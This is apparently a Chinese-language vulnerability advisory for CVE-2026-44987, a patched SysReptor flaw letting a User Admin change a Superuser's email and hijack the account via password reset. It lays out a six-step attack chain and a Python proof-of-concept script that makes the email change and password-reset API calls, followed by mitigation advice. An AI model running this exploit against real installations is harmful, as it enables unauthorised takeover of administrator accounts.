IPBUF安全漏洞报告
English
CVE-2026-44987 CVSS 3.8 低危

CVE-2026-44987 SysReptor权限提升漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-44987
漏洞类型
权限提升
CVSS评分
3.8 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SysReptor

相关标签

权限提升访问控制SysReptor账户接管

漏洞概述

SysReptor是一个完全可定制的渗透测试报告平台。在2026.29版本之前,拥有“User Admin”权限的用户可以修改拥有“Superuser”权限用户的电子邮件地址。如果SysReptor安装启用了“忘记密码”功能(默认为非启用状态),并且超级用户未启用MFA,攻击者可以重置超级用户密码并完成身份验证。成功利用后,攻击者可以访问Django后端或操作SysReptor安装的设置。该问题已在2026.29版本中修复。

技术细节

该漏洞本质上是一种垂直权限提升漏洞,源于SysReptor在处理用户管理请求时未正确校验操作对象与操作者之间的权限层级。在受影响版本的逻辑中,拥有“User Admin”角色的用户被错误地授予了修改“Superuser”级别用户账户联系信息(电子邮箱)的权限。攻击者利用此逻辑缺陷,首先通过合法身份登录系统,随后定向修改目标“Superuser”的电子邮箱为攻击者控制的地址。接着,攻击者利用系统若已启用的“忘记密码”功能,发起密码重置请求。由于重置邮件发送至攻击者控制的邮箱,攻击者可获取重置令牌并设置新密码。鉴于CVSS评分中要求“Privileges Required: High”(高权限),攻击者本身已具备一定管理权限。一旦成功接管“Superuser”账号,且该账号未启用MFA,攻击者即可获得系统的完全控制权,包括访问Django后台管理界面及修改系统关键设置,从而突破原有的权限边界。

攻击链分析

STEP 1
步骤1:获取初始权限
攻击者需要拥有一个具有“User Admin”权限的合法账户。
STEP 2
步骤2:修改超级用户邮箱
攻击者利用“User Admin”权限,通过系统接口将目标“Superuser”的电子邮箱地址修改为攻击者控制的邮箱。
STEP 3
步骤3:利用密码重置功能
攻击者在登录页面点击“忘记密码”,输入被篡改后的邮箱地址发起重置请求。
STEP 4
步骤4:获取重置链接并设置密码
攻击者从受控邮箱中获取密码重置链接/令牌,设置新的登录密码。
STEP 5
步骤5:接管超级用户账户
如果目标超级用户未启用MFA,攻击者使用新密码登录,获得系统最高权限。
STEP 6
步骤6:后渗透操作
攻击者访问Django后台(/admin)或修改系统全局设置,并可能通过分配“Project Admin”权限访问所有项目数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-44987 (SysReptor Privilege Escalation) This script demonstrates how a User Admin can potentially change a Superuser's email and reset the password if 'Forgot Password' is enabled. Note: This is a conceptual demonstration. Authentication tokens are required. """ import requests TARGET_URL = "https://sysreptor.example.com" ADMIN_TOKEN = "USER_ADMIN_JWT_TOKEN" # Obtained by logging in as User Admin SUPERUSER_ID = "target_superuser_id" NEW_EMAIL = "[email protected]" headers = { "Authorization": f"Bearer {ADMIN_TOKEN}", "Content-Type": "application/json" } # Step 1: Change Superuser's email print(f"[*] Attempting to change Superuser email to {NEW_EMAIL}...") update_payload = {"email": NEW_EMAIL} response = requests.patch( f"{TARGET_URL}/api/users/{SUPERUSER_ID}/", json=update_payload, headers=headers ) if response.status_code == 200: print("[+] Email changed successfully.") else: print(f"[-] Failed to change email. Status: {response.status_code}") exit(1) # Step 2: Trigger Password Reset (Forgotten Password) print("[*] Triggering password reset...") reset_payload = {"email": NEW_EMAIL} # This endpoint depends on configuration, usually public or authenticated response = requests.post( f"{TARGET_URL}/api/password/reset/", json=reset_payload ) if response.status_code == 200 or response.status_code == 204: print("[+] Password reset link sent to the new email.") print("[*] Attacker checks email, clicks link, and sets new password to gain Superuser access.") else: print(f"[-] Failed to trigger reset. Status: {response.status_code}")

影响范围

SysReptor < 2026.29

防御指南

临时缓解措施
在未升级补丁之前,建议管理员检查并确保所有Superuser账户均已开启MFA,以防止密码重置后被接管。同时,应评估“忘记密码”功能的必要性,若非必须应予以禁用,并加强对User Admin权限操作的审计日志监控。

参考链接